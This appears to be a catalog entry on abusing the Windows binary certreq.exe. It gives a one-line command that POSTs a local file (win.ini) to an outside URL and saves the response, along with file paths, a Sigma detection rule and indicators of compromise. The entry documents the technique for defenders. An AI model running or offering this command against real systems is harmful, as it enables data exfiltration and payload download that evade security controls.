Used for requesting and managing certificates
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Save the response from a HTTP POST to the endpoint https://example.org/ as output.txt in the current directory
Download file from Internet
C:\Windows\System32\certreq.exe, C:\Windows\SysWOW64\certreq.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml, IOC: certreq creates new files, IOC: certreq makes POST requests
David Middlehurst (@dtmsecurity)